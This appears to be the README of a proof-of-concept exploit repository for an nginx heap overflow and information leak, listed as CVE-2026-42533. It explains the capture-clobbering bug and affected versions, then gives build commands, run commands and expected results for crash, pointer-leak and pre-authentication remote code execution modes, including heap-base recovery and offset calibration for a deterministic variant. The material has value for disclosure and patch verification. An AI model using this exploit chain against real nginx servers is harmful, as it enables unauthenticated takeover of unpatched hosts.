
CVE-2026-42533: pre-auth nginx heap overflow and info leak from PCRE capture clobbering in the map/script engine, chained to RCE.
Pre-auth heap buffer overflow and heap information leak in nginx, caused by
missing save/restore of PCRE capture state across the two passes of the script
engine. A regex map variable evaluated between two capture references
overwrites r->captures, so the LEN pass and the VALUE pass disagree on how
large a capture is. The buffer is sized for one capture and filled with another.
Larger clobber gives a heap overflow with attacker-controlled content and length.
Smaller clobber gives an oversized buffer whose uninitialised tail is returned to
the client, leaking libc and heap pointers.
The two primitives chain into reliable pre-auth remote code execution. The leak defeats ASLR in a single GET, so the overflow does not need ASLR disabled.
Writeup: https://cyberstan.co.uk/nginx-rce/ Advisory: F5 K000162097 Reporter: Stan Shaw (cyberstan)
nginx 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), reachable since the
map directive gained regex support in 2011. Both the http and stream modules.
About 50 directives across 13 call sites, plus a second path through named
captures (r->variables[]). Fixed in 1.30.4 and 1.31.3.
CVE-2026-42533-PoC/
├── exploits/ exploit and validator scripts
│ ├── poc.py numbered-capture proxy_method chain (crash/leak/rce/rce-det)
│ ├── calibrate.py find PL_OFF / HEAP_PAGE_OFF for --rce-det on your build
│ ├── leak_multi.py info leak on the return and set sinks
│ ├── test_all_sites.py ASan validator, all 13 overflow sites
│ └── named_capture_poc.py named-capture r->variables[] variant
├── configs/ nginx configs the exploits run against
│ ├── nginx_poc.conf crash / leak / rce
│ └── nginx_det.conf deterministic rce-det
├── docs/
│ └── EXPLOITATION.md full exploitation writeup
└── README.md
Run every command below from the repository root, so exploits/, configs/,
and the ../nginx-1.30.1 build tree all resolve.
exploits/poc.py is the main exploit (numbered capture, proxy_method sink).
Its modes:
| Mode | Purpose |
|---|---|
poc.py --crash | Fire the heap overflow; on an ASan build it prints the write size and stack at ngx_http_script_copy_capture_code. |
poc.py --leak | Info leak: dump the libc and heap pointers out of the oversized response body. |
poc.py --rce | Full pre-auth RCE. General single shot (configs/nginx_poc.conf), ~66% per try, rerun on a miss. |
poc.py --rce-det | Full pre-auth RCE, deterministic against the controlled configs/nginx_det.conf. |
Standalone scripts covering the rest of the bug's surface:
| Script | Purpose |
|---|---|
exploits/leak_multi.py | Info leak through two more evaluators (return, set), each libc+heap pointer confirmed against /proc/<pid>/maps. Stock config. |
exploits/test_all_sites.py | AddressSanitizer validator that fires all 13 overflow call sites (http + stream). |
exploits/named_capture_poc.py | The named-capture (?P<name>...) variant through r->variables[] / copy_var_code, a second root cause. |
Configs live in configs/: nginx_poc.conf (crash/leak/rce), nginx_det.conf
(rce-det). The full writeup is docs/EXPLOITATION.md.
Linux, gcc, python3, and the nginx 1.30.1 source. Developed and tested on Ubuntu 24.04.4, glibc 2.39, PCRE2 10.42, python 3.12, full ASLR.
Two builds. A clean build for the leak and the RCE, so the heap residue is real. An AddressSanitizer build for the crash and the site validators, so the overflow is reported with an exact write size and stack.
tar xf nginx-1.30.1.tar.gz
cd nginx-1.30.1
# clean build -> objs.dbg/nginx (leak, rce)
./configure --with-pcre --with-http_ssl_module --with-debug --builddir=objs.dbg
make -j"$(nproc)"
# ASan build with all the modules the site validator needs -> objs/nginx
./configure --with-pcre --with-http_ssl_module --with-http_v2_module \
--with-stream --with-stream_ssl_preread_module --with-stream_ssl_module \
--with-debug \
--with-cc-opt='-g -O0 -fsanitize=address -fno-omit-frame-pointer' \
--with-ld-opt=-fsanitize=address --builddir=objs
make -j"$(nproc)"
exploits/poc.py talks to a running nginx on 127.0.0.1:8950. Start it in one
terminal with configs/nginx_poc.conf, then run the mode you want in another.
The other three scripts start and stop their own nginx, so they only need
NGINX_BIN.
mkdir -p run/logs
../nginx-1.30.1/objs/nginx -p run -c "$PWD/configs/nginx_poc.conf" # ASan build, foreground
python3 exploits/poc.py --crash
Expected: a heap-buffer-overflow, WRITE of size 200 in
ngx_http_script_copy_capture_code at ngx_http_script.c:1404, called from
ngx_http_complex_value in ngx_http_proxy_create_request.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --leak
Expected: an 8161 byte body with 2 bytes written and the rest heap residue. A libc pointer at offset 0x08 and a heap pointer at 0x10.
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # clean build
python3 exploits/poc.py --rce # writes /tmp/PWNED via system()
Expected: a leak, about 40 spray connections, an overflow trigger, then
/tmp/PWNED containing the output of id. This is a single shot and lands about
two thirds of the time on the dev build; on a miss the worker crashes and you run
it again. See the "Reliability" section of docs/EXPLOITATION.md.
Against a controlled config the same bug is a deterministic single shot. It
recovers the absolute heap base from the leak in one line
(heap_base = (leaked_ptr & ~0xfff) - 0x22000), parks a single forged pool
cleanup in a held connection at a known address, and points the victim pool's
cleanup at it instead of the transient trigger body, which nginx frees before
teardown.
mkdir -p run/logs
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_det.conf" # controlled config
python3 exploits/poc.py --rce-det
nginx_det.conf is a lab config (single worker, fixed buffers) whose heap layout
is reproducible, which is what makes the offsets in poc.py (PL_OFF,
HEAP_PAGE_OFF) hold. PL_OFF is the offset from the heap base at which the held
POST /b/ cleanup body lands; it depends on the exact allocation sequence, so it
shifts across builds, glibc versions, and configs. If --rce-det reports
Recalibrate, read the correct values off a live worker with calibrate.py:
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/calibrate.py
# prints e.g. set PL_OFF = 0x14426 , then edit it in exploits/poc.py
The only other non-win is an ASLR draw that puts a 0x0a inside the cleanup
address or the overflow body, which the map regex cannot carry; the tool reports
it and you rerun. A stock deployment is not that predictable, so use --rce
there. See "A deterministic build" in docs/EXPLOITATION.md.
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/test_all_sites.py # ASan build
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/test_all_sites.py 1 7 12 # a subset
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/named_capture_poc.py # ASan build
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/leak_multi.py # clean build
Expected: return and set each leak a libc and a heap pointer, both confirmed
against the worker's /proc/<pid>/maps.
Two things trip people up most: using the wrong build (ASan vs clean), and the
--rce-det offsets not matching your setup. Both are covered below.